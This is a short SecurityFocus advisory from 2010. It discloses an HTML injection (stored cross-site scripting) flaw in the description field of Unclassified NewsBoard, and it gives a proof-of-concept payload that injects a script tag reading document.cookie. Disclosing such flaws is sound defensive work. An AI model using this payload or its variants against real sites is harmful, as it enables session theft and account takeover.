info
discussion
exploit
solution
references
Unclassified NewsBoard Description Field HTML Injection Vulnerability
No exploit is required.
An example has been provided:
post new message and paste into description field:
</div><script>alert(document.cookie)</script>
Privacy Statement
Copyright 2010, SecurityFocus
